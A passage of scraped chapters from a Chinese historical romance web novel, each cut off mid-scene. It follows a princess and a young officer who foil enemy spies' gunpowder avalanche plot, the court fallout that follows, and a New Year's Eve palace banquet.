宁玉瑶抿唇看着秦熠接过那个干巴巴的饼子,打开秦熠给她的菜饼纸包,小口小口地啃着。 天色渐渐暗了下来。 对于宁玉瑶来说,即便是菜饼也十分难以下咽,她吃得很慢很艰难,山顶寒风凛冽,她手中的菜饼很快变得冰冷干硬。 又一阵寒风吹过,正在咀嚼干饼子的退伍军士们手微微一顿,他们对视一眼,继续若无其事的吃着手里噎嗓子的干粮。 秦熠见宁玉瑶实在咬不动菜饼,从她手上拿过饼子,“饼子凉了,再吃该闹肚子了。” 宁玉瑶没有坚持,看着他把菜饼包好放回衣襟里。 天空中最后一点光亮也消失不见,月亮慢慢升起。 白跑一趟的宁玉瑶无奈转身,说:“回府吧。” 她已尽人事,但找不到罪魁祸首也无可奈何。大不了后日再带一队人把北郊附近村庄的百姓全都赶走,反正她是酸儒们口中嚣张跋扈的明安郡主,除夕夜拿百姓取乐也只是连累父亲被御史弹劾,但总比百姓被大雪淹没,导致舅舅下罪己诏好。 想通之后,宁玉瑶安心地趴在秦熠宽阔的背上,让他背自己下山。 天黑后,秦熠便让众人将眼睛上的纱布摘下。 宁玉瑶侧头,看着秦熠呼出来的白雾挂在眼睫上,眼睫和眉毛都覆上了一层白霜。 宁玉瑶轻声问:“熠哥哥,累不累?” 秦熠笑着说:“只要明安开心就好,这对我来说并不是难事。” 秦熠笑的时候身体轻轻颤动,趴在他背上的宁玉瑶只觉得心里一阵悸动,她理不清自己怎么了,只能安静趴着不再说话。 突然,前方的一个军士轻声喝道:“什么人?” 侍卫们立即冲向不远处的树林,片刻后揪出一个满脸络腮胡的男人。 侍卫们将络腮胡扔到地上,厉声问道:“鬼鬼祟祟地在这里干什么?” 络腮胡衣衫破旧,脏污不堪,即使是在数九寒天的气候下也散发着一股异味。他似乎被吓坏了,跪在地上不住地磕头。 “老爷饶命啊!小的是山下李家村的村民,家里没有粮食就上山来找吃的,小的不是有意惊扰各位老爷的。” 宁玉瑶轻轻拽了拽秦熠的耳朵,秦熠微微颔首,满脸嫌恶、凶神恶煞地斥道:“还不快滚,真是污了我妹妹的眼睛。” 络腮胡如蒙大赦,连滚带爬地跑了。 “张叔。”看着男人远去的背影,秦 16. 北穆 《江山为棋(重生)》全本免费阅读 “瑶儿还未回府么?”祁婧惠问身边的侍女。 侍女抿唇摇头,“奴婢派人在门口等着,一直没送来消息。” 祁婧惠蹙眉,脸上满是担忧,“快宵禁了,怎么这么晚了还不归家。” “发生何事?”宁渊刚进卧房就看见夫人神色不佳,温声问道,“怎么愁容满面的。” “见过国公爷。”房里的侍女们屈膝行礼。 祁婧惠忧心忡忡地说:“瑶儿说要去北城散散心,早上就和秦熠一起出门了,到现在还没回府。” 宁渊闻言也皱起了眉头,“秦熠武艺高强,也不是个没分寸的孩子,怕是有什么事耽搁了。” “殿下!国公爷!”侍女从门外匆匆跑进来,“方才雁京府衙役来报信,郡主上午带着秦都尉上清云山,至今未见下山!” “什么?”祁婧惠惊得站起来,“清云山不是大雪封山了吗,怎么还让他们上去了?” “回殿下,衙役说郡主强行上山,他们拦不住。” 宁渊让侍女取下自己的大氅,对祁婧惠说:“惠娘别急,我现在就带人去寻瑶儿。” 祁婧惠取掉自己头上的珠钗发簪,“你先清点人马,我也一起去。” 宁渊和祁婧惠带着两府护卫出门时,另一侧秦将军府的大门也打开了。 秦柏带着一队兵士牵着马出来,他看见宁渊夫妇,一脸愧疚地行礼,“见过诚国公,长公主殿下,唉,下官教子无方。” 祁婧惠虽然满心担忧,但并未迁怒于秦柏,“秦将军言重了,现下还不知道他们遇到了何事,我们先赶紧过去吧。” 一行人顾不上此时还在城内,立即上马,策马扬鞭向城北疾驰而去。 * 秦熠背着宁玉瑶在雪地上急速奔跑,即便身上背了一个人,他的速度也丝毫不受影响。 宁玉瑶紧紧攀着秦熠的肩膀不敢乱动,唯恐耽搁了行程。 跑了近半个时辰,他们终于看到了前方正拖着火药准备去雪山的一行人。 今晚明月高悬,月色如水,洒在雪地上返照出银色的光芒,前方的人即便没有点火把也清晰可见。 秦熠仔细清点对方的人数,只有十人,估摸着还有三人在山洞那守着。他沉声道:“速战速决,小心他们鱼死网破。” 秦将军府的军士和长公主府侍卫们听令,立即向前方众人掠去。 秦熠并未下场,他将宁玉瑶放在地上,挡在她的前方,丹素和丹诺则护在宁玉瑶的后侧方。 歹人们被突然持刀冲向他们的侍卫们惊了一瞬,高壮男人心道不好,他又怒又恨,老七你个该死的东西!可眼下不是说这些的时候,老七的事只能等解决了这些人再算。 他们马上拔刀反击。 宁玉瑶看着前方战场的形势有些担心,即使她不懂战事,也能看出来,尽管己方有二十余名退伍军士和侍卫,但并未占据上风,那群歹人显然在雪地中作战更为娴熟。 府上的侍卫们在厚厚的积雪上行走已是不易,何况还要与他们打斗。退伍军士虽能勉强抵挡,但因今日上山消耗了大量体力,加之身上各有旧伤,渐渐显得力不从心。 “熠哥哥……”宁玉瑶看着愈发胶着的战场,忧心忡忡地扯了扯秦熠的衣袖。 “放心。”秦熠目不转睛地看着前方,语气轻松地安抚道。 宁玉瑶见秦熠一派轻松的模样便知他心中有数,于是放下心来,继续观看前方的战斗。 高壮男人余光一瞥,看见了站在不远处的秦熠和宁玉瑶,他面目狰狞地向宁玉瑶冲过来,这些该死的少爷小姐,都去死吧! 却没想到他拼尽全力的一刀,竟被前方的少爷轻描淡写地挡下。少爷的剑尚未出鞘,仅凭剑鞘便稳稳接住他的刀,随后反手一推,使他趔趄着向后退了好几步。 借着月光,高壮男人看清了秦熠的脸和他手中的剑,想起他刚才的所用的力气,高壮男人咬牙切齿地喊道:“铁力士。” 秦熠听到这三个字双眼微眯,不再留手,直接利剑出鞘向高壮男人攻去,高壮男人显然不是秦熠的对手,很快他手中的刀被秦熠挑飞,整个人被压在地上动弹不得。 秦熠迅速将此人牢牢捆住,随后加入前方的战斗。由于缺了高壮男人这个头领,再加上秦熠的强势加入,那群歹人很快便落入下风,被侍卫们擒住。 侍卫们用拖运火药的绳索将歹人们牢牢捆住,嘴里塞满东西,确保他们发不出任何声音。 秦熠踩着高壮男人的头,手中的剑鞘用力抵住男人的太阳穴,语气冰冷地说:“北穆人,你们居然敢来雁京城闹事,北穆王城不想要了么?” 军士和护卫们闻言皆是一惊,这些居然是北穆人。 与北穆人死战多年的军士们立即剥下他们的衣服,只见他们的右肩膀上均有一块巴掌大的疤痕。 秦熠嗤笑道:“居然还把图腾给毁了,多此一举。” 军士们忍不住又狠狠地抽了北穆人一顿。 眼见军士们还未尽兴,秦熠不得不出声阻止:“叔伯们,先去把山洞那边的三个给抓了,免得他们跑了。” 独手男人张叔收回将北穆人脑袋死死按在地上的右手,“熠小子说得对,先干正事,人抓到以后再慢慢收拾。” 其他军士闻言纷纷停手,“走。” 这次长公主府的护卫们没有跟上去,他们留下来看守捆在地上的北穆人,他们知道,这些定北军的军士们对北穆有着刻骨铭心的仇恨,还是让他们亲自动手出出气为好。 宁玉瑶见事情暂时告一段落,她伸出手指戳了戳秦熠的胳膊,秦熠侧身半弯下腰与她平视,“明安怎么了?” 宁玉瑶好奇地问:“熠哥哥,你怎么知道他们是北穆人?” 秦熠脸上露出他惯常的笑容:“听到他叫我铁力士了吗?” 宁玉瑶疑惑,“这是什么意思?” “这是北穆军给我起的外号,铁力士在北穆就是力气很大的人,”秦熠笑得意味深长,“大宸人可不会用北穆的称呼叫我。” 原来如此,宁玉瑶又问:“那图腾是怎么回事?” 冰雪寒冷,秦熠见宁玉瑶冷得忍不住跺脚,他脱下身上的大氅递给一旁的丹素,示意宁玉瑶到他背上来,随后让丹素用大氅将宁玉瑶小心包裹住,接着说:“北穆信仰鹫鹰,他们自出生起都会在右肩膀烙上鹫鹰图腾。” 宁玉瑶明白了,便略过这个话题。 她抬头望着天空,已是月上中天,“不知道现在是什么时辰了,爹娘肯定着急了。”她有些懊恼耽搁了太多时间,但并不后悔这一趟出行。 秦熠辨别一番月亮的方位,“已经亥时了,雁京城已经宵禁,不出意外,殿下、国公爷和我爹此刻应该就在山下。” 秦熠心里嘀咕,回去以后估计又是一顿好打。 不过…… 秦熠美滋滋地颠了颠背上的宁玉瑶,惹得宁玉瑶在他后脑勺上拍了一巴掌,秦熠嘿嘿一笑,管他呢,我爹还能打死我不成。 不多时,张叔他们拖着三个人回来了,“山洞那 17.震怒 《江山为棋(重生)》全本免费阅读 “陛下,陛下。” 承武帝被人从睡梦中唤醒,不悦地看向苏德茂,“何事?” 苏德茂小心翼翼地回答道:“陛下,诚国公与秦将军此刻在宫外求见,他们说有要事禀告。” 承武帝的睡意瞬间消散,诚国公和秦柏说有要事,那必是重大事务,“快宣。” “遵旨。”苏德茂吩咐小太监传唤两位大人进宫,自己则赶紧伺候皇帝梳洗更衣。 宁渊与秦柏踏入御书房时,天色仍是一片漆黑。 “臣等参见陛下。” 承武帝示意他们免礼,问道:“两位爱卿深夜进宫,所谓何事?” 宁渊上前一步:“启奏陛下,今日小女顽皮,带着秦熠前往清云山赏景,不想回来时……” 承武帝默不作声地听诚国公讲述清云山发生的事,脸上看不出喜怒。当听到那些人企图通过雪崩摧毁清云山下数个村庄,甚至计划将雪灾扩大到雁京城时,承武帝怒极反笑。 “好,好得很啊,神武营这群饭桶,这么多人和炸药上了清云山,他们居然毫无察觉,来人!叫吴肃马上滚进宫来见朕!还有,宣一品大臣即刻入宫。” 太监们领旨,迅速出宫。 秦柏垂眸不语,神武营戍卫雁京城,其营地距离清云山不足十里,出了这么大的纰漏,神武营的统领吴肃难辞其咎。 承武帝想到此事的起因,不由感慨道:“明安真是个好孩子,诚国公,明安可还好?” 宁渊拱手回答:“谢陛下关心,明安一切安好。” “秦熠也是个好的,”承武帝沉吟片刻,正色道,“明安今日在长公主府中从未出门,此事乃秦熠一人之功。” 宁渊和秦柏明白承武帝的意思,陛下是想将宁玉瑶从此事摘出去。 他们不约而同地想到至今还未查到围场对宁玉瑶下手的真凶,北穆人既然胆敢在雁京城外动用火药,雁京城内必然也有不少他们的探子,为了避免宁玉瑶被北穆探子记恨,此事必须只有秦将军府之人参与。 所幸今日除了三府外,仅有几名雁京府衙役知道,处理起来并不困难。 宁渊躬身一礼:“臣感激皇上对明安的拳拳爱护之心。” 秦柏亦呵呵一笑,跪下谢恩:“臣代犬子谢皇上恩典。” 秦柏才不怕北穆人记恨秦熠呢,他满不在乎地想,秦熠那小子宰的北穆人都够堆京观了,还在乎多这么几个小杂碎么? * “统领,统领!大事不好了!”吴肃的亲兵慌张地冲进吴肃房中大声呼喊。 吴肃从沉睡中惊醒,眼神迷蒙地扫向窗外漆黑的夜空,眉头紧锁,恼怒地坐起身来,随手抓起床边的瓷杯向亲兵掷去,“半夜三更的鬼喊鬼叫什么!” 亲兵躲避不及,被瓷杯击中额头,但顾不上疼痛,捂着头禀报:“统领,京锐营的秦熠刚才带人在清云山抓了十多个人,还从山上搜出了大量的火药!” “火药?还是京锐营的人发现的?那群王八羔子在搞什么鬼?”吴肃怒气冲冲地问。 京锐营与神武营素来不和,两营中人每次见面都会斗得跟乌鸡眼似的,乍一听道这个消息,吴肃下意识怀疑神武营的人没安好心。 亲兵急忙开口:“统领,这次恐怕真不是京锐营干的,那火药的数量,至少有几百斤之多,而且……” “什么?几百斤?”吴肃脸色大变,冷汗直冒,“这么多火药是怎么搬上去的?巡视清云山的人难道都瞎了不成?” 大宸国对火药管控极严,除了陛下,任何人私自使用都是重罪。如今清云山上竟出现如此大量的火药,而神武营却一无所知,他身为统领,难辞其咎。 吴肃两眼一黑,恨不得昏死过去。 但昏是肯定不能昏的,府中小厮匆匆来报:“统领,宫中传旨,宣您即刻进宫面圣。” 话音刚落,与小厮一同进来的吴府护卫声音颤抖地说:“统领,方才神武营接到消息,京锐营在清云山抓获的那伙人,是北穆的细作!” 北穆细作!这几个字如一记重锤,砸得吴肃眼冒金星。若是只有火药,他或许还能辩解一二,但北穆人带着如此多的火药藏在清云山中,显然图谋不轨,事到如今他真是万死难辞其咎。 吴肃脸色瞬间苍白,慌乱地从床上滚下来,他手脚发抖,连衣物都拿不稳。亲兵和护卫见状,立即上前帮他穿戴整齐。 吴府众人强装镇定将吴统领送上马车,却心里都清楚,吴府这次恐怕是凶多吉少了。 此刻的雁京城内,传旨太监们片刻不停地敲响一品官员家的大门,东城区在这寒冬的深夜突然喧闹起来,马蹄声急促地向皇城的方向奔去。 皇城门口,大臣们相互见礼,虽不知到底发生何事,但他们都能看到彼此脸上的凝重。明日便是除夕,这是有天大的事才会让陛下在深夜召集一品大臣啊! 外面纷乱不休,这些都没有影响到熟睡中的宁玉瑶。 祁婧惠看着侍女们将女儿的衣物脱下,她仔细查看着女儿的手脚,依旧白嫩红润,未见冻伤,再看看女儿似乎做了美梦满是笑容的小脸,她忍不住伸手戳了戳宁玉瑶的额头,轻声嗔怪道:“没心没肺的丫头,都快把天捅个窟窿了,也就你还能睡着。” 宁玉瑶似乎听到娘亲在念叨她,她撅了撅嘴,翻个身继续沉睡。 祁婧惠失笑,起身离开了房间。 * 御书房内一片死寂,神武营统领吴肃趴跪在地上,已面无人色。 “吴肃,你可还记得神武营的职责?”承武帝坐在龙椅上,声音冷漠。 吴肃额头抵着冰冷的地面,声音颤抖地答道:“神武营……神武营是为了戍卫雁京……” 承武帝轻轻一笑,吴肃被这笑声惊得浑身一抖。 承武帝说:“神武营建营至今已近三百年,与京锐营并称雁京城最后一道屏障,吴肃,你们神武营就是如此护卫雁京城的吗?!” “臣罪该万死!”吴肃已不敢再求皇上饶命,只希望皇上开恩饶恕自己一家老小的性命。 朝中重臣在一旁肃穆而立,无人敢开口替他求情。 今日之事属实骇人听闻,上千斤火药被神不知鬼不觉地运送到清云山上,若非秦都尉上山游玩发现异样,后果简直不堪设想。而且十多名北穆人藏匿在神武营管辖的清云山上,吴肃此番罪责难逃。 承武帝垂眸看着跪在地上颤抖不止的吴肃,下旨摘去吴肃的顶戴花翎,将其打入大牢。 散朝后 18.除夕 《江山为棋(重生)》全本免费阅读 承武十五年的最后两天,承武帝接连颁布两道震惊朝野的圣旨:神武营统领吴肃革职查办,而原本只是京锐营五品都尉的秦熠,则破格晋升为四品都司。 送走传旨太监后,秦熠拿着圣旨百思不得其解:“就这么点事儿,能让我连升两级?” 秦柏踹了他一脚,“这事儿还不大呢?吴肃直接被革职查办,待大理寺和刑部、兵部彻查完神武营后,吴肃轻则杖责一百、流放边疆,重则……” 大过年的,秦柏将那些不吉利的话硬生生咽了回去。 “诶!爹!我不是说这事儿小,我是觉得我没干什么,不值当升这么快。”秦熠连忙跳到一边。 原来是为了这个。 秦柏明白了秦熠的困惑,屏退下人,待房中只剩下他们一家三口时,秦柏道出皇上的用意:“你爹也不是要贪图郡主的功劳,只是你想想,若北穆人真的暗中谋划对郡主不利,她要如何抵挡?陛下此举,也是有意让你替郡主挡灾。” 秦熠恍然大悟,他浑不在意地说:“原来如此,挡灾就挡灾吧,我可从来没怕过北穆人。不过既然我得了这么大的好处,得好好准备一份谢礼给明安才是。” 一直在旁默不作声的秦夫人闻言,头疼地说:“你可别恩将仇报了,大过年的,小心明安郡主生气,再把你打出来。” 秦熠不服气地说:“明安才不会生气呢,明明她也很喜欢我送的东西。”说完他将圣旨往贡案上一摆,溜溜哒哒走出房间。 秦夫人看着儿子的背影,愁的不行,明安郡主不是不生气,她只是不记仇罢了,气起来打你打得还少了?打得不疼就不叫打了是么? 秦柏看夫人满面愁容,以为她是在担心陛下将秦熠作为靶子的事,劝慰道:“秦熠是武将,保家卫国是他的职责,替郡主抵挡北穆暗箭,亦是他应尽的职责。” 秦夫人叹了口气,解释道:“我不是担心这个,秦熠跟北穆早就是生死之仇,多一事少一事对他来说并无太大差别。我只是觉得,这次虽说是为了保护明安郡主,但到底是秦熠得了实惠,我们总该有所表示才是。” “一切照旧吧,”秦柏说,“太过殷勤反而会让人觉得蹊跷,殿下和国公都是明白人,不会在意这些。” 秦夫人不赞同道:“也不能完全不放在心上,不如我平时无事寻些时新的小玩意送给郡主,既增进感情也不扎眼。” 秦柏点头,“如此也好。” 明日便是除夕,雁京城北的街道上依旧人头攒动。经过连续多日的暴雪,许多人家还未来得及备齐年货,现下天气放晴,人们纷纷走上街头大肆采购。 文德斋中,林鸿轩正精心地挑选着文房四宝。他脸上带着温和的笑意,与店小二轻声交谈。 店小二从柜台下拿出一本书,递给林鸿轩:“郎君,上次您让小的留意的书已经到货了,您看看是不是这本。” 林鸿轩接过书随意翻了翻,这本看似普通的书籍,林鸿轩从中得出一句话: 哈木吉已被秦熠所擒。 林鸿轩想起在围猎场时,秦熠骑在马上用箭指着他,将他逼退的情景。还有在护国寺的后山,秦熠看他时满是不屑的眼神,林鸿轩的脸微微扭曲,但很快又恢复了平静。 林鸿轩温和地笑着对店小二说:“就是这本,多谢。” 他眼神不经意地掠过桌面上的纸张,拿起一张轻轻摩挲,说:“这纸张的质地看起来不错,不知书写起来效果如何?” 店小二立刻殷勤地取来笔墨,双手递给林鸿轩:“这是小店刚从南边引进的上等宣纸,颇受顾客欢迎,郎君,您可以先试试。” 林鸿轩接过笔,垂下眼帘掩住自己的心思,既然三番五次坏我大事,那就别留着碍眼了。 在选中的宣纸上,林鸿轩随意地写了几个数字,满意地点点头,对店小二说:“确实不错,替我包起来吧。” 店小二麻利地将书和宣纸包好,恭敬地将林鸿轩送到门口:“多谢郎君惠顾,您常来,小店包您满意。” * 祁婧惠拿着暗五刚送来的纸条,对沉思中的宁渊说:“这些数字,会不会是某种密文?” 宁渊点头,“很有可能,只是这种使用数字的密文通常都需要有对应的解码书籍,而大宸的书籍浩如烟海,没有明确的线索,恐怕难以入手。” 祁婧惠冷笑,这个小小探花,手段还真是不少,“先收着吧,让人盯紧了他们,总会露出马脚的。” * 腊月三十,除夕。 无论世事有何纷扰,今日都需暂且放下。 今日的除夕宴是宁玉瑶及笄后首次出席的重大宴席,青黛和青筱为了将自家郡主打扮得光彩照人,使出了浑身解数。 宁玉瑶起了个大早,闭上眼睛任由她们摆弄,她虽不热衷于争艳,但作为少女,她自然也喜欢让自己更加美丽。 青黛一双巧手将宁玉瑶满头秀丽青丝挽成飘飘欲仙的飞仙髻,再配上皇后娘娘新赐的头面和锦衣华服,今日的宁玉瑶真是如九天玄女下凡一般秀美无双。 “郡主,您看看。”青黛为宁玉瑶上好妆容,轻轻唤醒快要睡着的自家郡主。 宁玉瑶望着铜镜中的自己,只见胭脂轻抹,唇红齿白,眉间贴上精美的金粉花钿,她险些没认出自己。她好奇地抚摸脸颊,问道:“会不会有些奇怪?” 青黛笑着收拾桌上的胭脂水粉,轻声安抚道:“郡主您是第一次尝试这样的妆容,难免有些不习惯。今天先试试看,若是不喜欢,以后就不用了,横竖我们郡主天生丽质,无需过多装饰也好看。” 宁玉瑶无可无不可地点点头,“下次再说罢。” 除夕宫宴定于酉时开始,王公大臣和诰命夫人们只需在申时入宫即可。 宁玉瑶昨日说好要早些进宫给娘娘请安,因此今天一早她先行进宫。她的父母与兄嫂则下午再一同进宫赴宴。 秦熠手中握着一个玉盒,站在自家大门口,呆呆地看着身披一领朱红绣金羽纱面斗篷的宁玉瑶登上马车。马车渐行渐远,他却久久未能回神。 百步穿杨的秦都司目力过人,即便是在自家门口,都能将长公主府前宁玉瑶头上的珠钗看得清清楚楚。他摸摸自己的胸口 19.宫宴 《江山为棋(重生)》全本免费阅读 德清宫内地龙烧得很暖,宁玉瑶刚进门,宫女们就迅速上前将宁她身上的斗篷解下。 “瑶儿,这里就咱们娘俩,不必多礼,”皇后笑意满面地招呼宁玉瑶,“快过来给舅母瞧瞧。” “舅母,”宁玉瑶依偎在皇后身旁。 皇后看着宁玉瑶头上戴着昨日刚赏赐的头面,满意地点点头,果然小姑娘就该用这些鲜亮的珠宝,多好看。 皇后视线往下一扫,眉心微蹙,“瑶儿,你这鞋略显素净了。” 宁玉瑶低头看看自己脚上掐金嵌玉羊皮小靴,哪里素净了,不过舅母说是那便是吧。 宁玉瑶笑着回道:“舅母,外头冷呢,这鞋穿着暖和,待天暖了就可以穿那些漂亮绣鞋了。” 皇后一想也是,还是身体要紧,“罢了,今次便算了,昨儿皇上送的那两匣子珠宝看到了么?” 宁玉瑶点头,眼睛顿时亮了起来,“看到了,每一颗都那么大那么亮。” “既然赏你了,就别舍不得用,赶明儿让你府上的绣娘将它们镶到绣鞋上。” 饶是宁玉瑶从小就锦衣玉食,也被皇后的话一惊,那些珠宝每一颗都价值连城,她眨巴眨巴眼睛,“会不会太过奢靡了?” 皇后笑着摇摇头,“你呀,阿姐真是把你养得不知世事,这才哪到哪。” 这算什么奢靡,不过这些话她也没和宁玉瑶说,只是道:“舅母年纪大了,就爱看小姑娘穿得鲜鲜亮亮的。” 宁玉瑶皱了皱小鼻子,“舅母哪里年纪大了,明明正是风华正茂的好时候。” 白珊笑着插话:“娘娘,你瞧,郡主也觉得您年岁正好。” 皇后无奈,“你们就会哄我开心。” 宁玉瑶凝视着皇后,皇后平日保养得极好,一点也看不出来已经年近四十了,宁玉瑶噘嘴不高兴地说:“瑶儿说的是真的。” “好好好,”皇后挥退屋内宫人,轻抚着宁玉瑶的脸颊,“瑶儿前日可有被吓着了?” 宁玉瑶轻轻摇头,“舅母放心,熠哥哥和侍卫们没让那群人近身。” “那就好,”皇后想起此番宁玉瑶立了大功却不能留名,叹息道,“瑶儿,委屈你了。” “舅母,瑶儿抓到他们,舅舅开心吗?” “自然是开心的。”陛下虽然愤怒神武营尸位素餐,但能够提前破坏掉北穆的计谋,避免了这场人祸,也是一件幸事。 宁玉瑶粲然一笑:“既然舅舅开心,那瑶儿就不委屈。” 宁玉瑶做这事的初衷本就不是为了自己的名利,她只是不想让疼爱自己的舅舅下罪己诏,再背上万世骂名。 皇后心头发软,轻轻搂住宁玉瑶:“真是个好孩子。” 宁玉瑶闻着舅母身上的香味,感觉与上次来时好像相似,又有些不同,她好奇地问:“舅母,您用的熏香又换了吗?真好闻。” “还是夕滢调的香,你喜欢吗?”皇后吩咐白珊去内殿取来一个香囊,递给宁玉瑶,“夕滢现在调香的手法愈发纯熟了,喜欢就拿去玩吧。” 宁玉瑶听到是二公主弄的,虽然心中不太喜欢,但既然舅母拿过来了,也不会驳了舅母的好意。她接过香囊轻轻嗅了嗅,对着皇后甜甜一笑,“谢谢舅母。” 皇后笑眯眯地看着宁玉瑶孩子气的举动,“一个小玩意罢了,不值当什么。” “娘娘,信礼侯夫人、逍遥侯夫人来给您请安了。” 宫外有宫女禀报。 宁玉瑶闻言立即起身告退:“舅母,我先去偏殿了。” 皇后知道她今儿起得早,此时看她略显困倦的脸,点头,“去好好歇会儿,晚上还有得忙呢。” 幸好小五今日清早就被太子领走了,不然又会闹得瑶儿不得安宁。 宁玉瑶醒来时已到未时。 青黛立即过来伺候她穿衣,“郡主您饿不饿?娘娘特地吩咐小厨房替您留了一些好克化的菜品,让您稍微垫点,晚宴还要等一会儿呢。” 宁玉瑶点头。 青黛笑着对端来午膳的宫女说:“劳烦姐姐了。” 宫女微笑福身:“青黛姑娘不必客气。” 用过午膳,宁玉瑶在青黛的打理下又恢复成那个光彩照人的明安郡主。估摸着是休息好了,宁玉瑶的气色比清晨时更好,瞧着更加明艳靓丽。 青筱从门外走来:“郡主,长公主殿下进宫了。” 除夕宫宴前,品级高的夫人们方有资格给皇后请安,其他人只需按时前往宫宴场所即可。 此时,德清宫中,身着华服的夫人们你一言我一语地恭维着皇后,正殿内尽管人多,但不过分喧闹,气氛热闹得恰到好处。 宁玉瑶进门时,殿内突地一静,夫人们都眼带惊艳地看着缓步走进来的美丽少女。 宁玉瑶恭恭敬敬地给皇后磕头行礼:“明安拜见皇后娘娘。” “乖孩子,快起来,到本宫身边来。”皇后笑吟吟地招呼道,白珊连忙上前扶起宁玉瑶。 祁婧惠和儿媳姜婉珍就坐在皇后下首位置,宁玉瑶走到皇后身边,挨着皇后和自己母亲坐下。 皇后柔声问道:“休息得可好?今日午膳时人多杂乱,知道你不爱应付那些,就没叫你。” 宁玉瑶还没说话,祁婧惠笑着说:“娘娘您就是太宠瑶儿了,瑶儿都已经成年了,却还像个长不大的孩子。” 皇后亲昵地捏捏宁玉瑶的脸颊,“我们家的孩子当然要宠着,那些所谓的规矩,与我们瑶儿可没关系。我们瑶儿呀,这辈子就该这样无忧无虑地活着。” 下首的夫人们听后暗自心惊,皇后这是在明确表明皇家对明安郡主的偏爱。那些想靠娶郡主以获圣宠的人家,可要好好思量思量了。 不管在场众人心中有何想法,没人敢在此时触皇后和嘉阳长公主的霉头,诸位夫人都纷纷夸赞起宁玉瑶,好话一句接一句,仿佛宁玉瑶就是那九天玄女下凡,人美心善。 “启禀娘娘,吉时将至。”德清宫掌管日晷的太监走进来轻声提醒。 皇后颔首,看了一眼白珊,白珊领命,扬声说道:“请各位夫人先行就宴入席。” 众命妇们齐齐起身应道:“臣妾先行告退。” 待殿中众人退下后,皇后才对嘉阳长公主说:“自瑶儿及笄后,明里暗里来向本宫打探瑶儿择婿条件的人不在少数,其中有些人,就连本宫都不太好回绝。” 祁婧惠心中有数,连皇后都不太好拂了她们的面子,约莫就是那些倚老卖老的世家夫人们,有些世家家主在皇帝当年保太子之位时出力不少,皇帝皇后确实不好回绝得太过强硬。 祁婧惠拉着皇后的 20.心动 《江山为棋(重生)》全本免费阅读 吉时已到。 内侍太监在定和殿外高声唱道:“皇上驾到,皇后娘娘驾到。” 定和殿内众人立即跪拜在地:“臣等恭迎皇上,皇后娘娘,吾皇万岁万岁万万岁,娘娘千岁千岁千千岁!” 承武帝携皇后步入定和殿,坐于御坐之上,承武帝抬手:“众爱卿平身。” “谢万岁!” 秦熠有些心不在焉地跟随众人起身落座,这是他首次以自己的官职身份进宫参加宫宴。 教坊司的舞者体态轻盈,舞姿曼妙,秦熠却没有半点欣赏的兴致,他的目光穿过翩翩起舞的舞者们,落在宁玉瑶身上。 偌大的定和殿,来往之人众多,秦熠的眼中却只有面带笑容、欣赏舞者跳舞的宁玉瑶一人。 秦熠心绪不宁,垂下眼眸不敢再看宁玉瑶,沉默地坐在自己的席位上不言不语闷声吃菜,宫宴上的菜肴都是难得一见的珍馐美味,他却吃得有些食不知味。 幸好今日只是君臣同庆的除夕宫宴,只要不过于失礼,便不会引人注意。如秦熠这般只顾吃菜,不关注其他琐事的人不在少数,秦熠如此表现也不算显眼。 秦熠就这样默默坐着,直到宫宴结束。他这副模样,莫说秦老夫人和秦夫人,就连大老粗秦柏都发现了儿子的异样。 “你吃错东西了?今儿都傻了一天了。”出了宫门,回去的路上,秦柏骑着马,在秦熠的后脑勺上拍了一巴掌。 若是以往,这一巴掌还真不会把秦熠怎么样,但今日心神不宁的秦熠直接被亲爹扇得摔下马。 周围秦府侍卫赶紧停下脚步,就怕一脚踩在秦熠身上。 秦熠躺在地上有些懵地看着自己亲爹,多大仇啊? 秦柏也懵了,自己好像没用多大力吧? 马车内,秦老夫人一声怒吼:“秦柏!” 秦熠麻溜地从地上爬起来,凑到马车边上,笑嘻嘻地说:“祖母,我没事,我爹跟我闹着玩呢。” “注意些分寸,摔下马可不是小事。”秦老夫人瞪着马车外的儿孙,生气道。 秦柏憋闷地回答:“是,母亲,我以后会小心的。” 马车继续向前行驶,秦老夫人见儿媳半点不担心,反而心情很好的模样,不由好奇地问:“今日究竟发生何事,你脸上这笑就没停下来过。” 秦夫人弯了弯眼睛,她知道自己儿子耳力极好,凑到婆母耳边轻声耳语几句。 秦老夫人闻言也喜上眉梢,轻声问道:“此话当真?” 秦夫人含笑点头:“错不了,不过开窍归开窍,他要走的路还长着呢。” 秦老夫人笑眯眯地念着佛:“佛祖保佑,一步一步来吧,总比他之前那副二愣子的模样好。” 家里人谁看不出来秦熠在意明安郡主,若是其他人家的姑娘,不管开没开窍,先娶回来再说,时候到了,秦熠自然能明白自己的心意。 但明安郡主不同,想要求娶郡主,就必须让秦熠自己打动郡主,而秦熠之前自己都没搞明白自己的心思,更遑论赢得郡主的芳心。 他们一直都担心秦熠会稀里糊涂错过自己的心悦之人,现下既然秦熠已明白自己的心意,就看他自己的努力了,不论将来成不成,至少努力过了不会后悔。 回到秦府,秦熠独自爬上自己院子的屋顶,望着长公主府的方向,思绪万千。 他想起今日宫宴上的事。 宫宴中途,秦熠曾离席更衣,经过抄手游廊时,远处隐隐约约传来几位年轻男子说话的声音。 “原来名满雁京的明安郡主如此秀美,我娘前些日子还问过我,若替我求娶郡主,我是否愿意。” “你如何回答的?”另一个男子好奇地问道。 “我拒绝了,”最开始说话的男子捶胸顿足地说,“诸位也知道……” 后面的话他没说出口,估计想起这是在宫中,不敢诋毁郡主,但他的好友皆知他的未尽之言。 一道戏谑的声音响起:“那你现下可是后悔了。” “自然是后悔的,如此美貌的女子,就算任性一些也可当作情趣,”那个年轻男子的声音很快振作起来,“无碍,我回去再跟母亲说,我愿意求娶郡主,让她帮我寻媒人说媒。” 另外几人纷纷笑道:“是极,窈窕淑女,君子好逑,祝梁兄如愿抱得美人归。” 按理说,这些人说话的声音传不到秦熠这边的抄手游廊,但秦熠自小五感异于常人,这些细微的声音在他耳中清晰可闻。 秦熠攥紧自己的拳头,关节咯吱作响。若非还有一丝理智提醒他此刻仍在宫中,不得失礼,他真会冲过去将那胆敢觊觎明安的登徒子揍一顿。 秦熠心中冷笑,什么玩意儿,你想娶,明安就会嫁么?也不看看自己是什么货色。 秦熠知道他们未出口的话语是什么,无非就是明安娇纵任性,常常刁难别人。 躺在屋顶上的秦熠摸摸鼻子,轻咳一声,此事自己似乎也有不小的责任。 秦将军府与长公主府相邻,宁玉瑶虽自幼体弱,但性子跳脱顽皮,长公主府关不住她,她便经常跑去秦府玩耍。 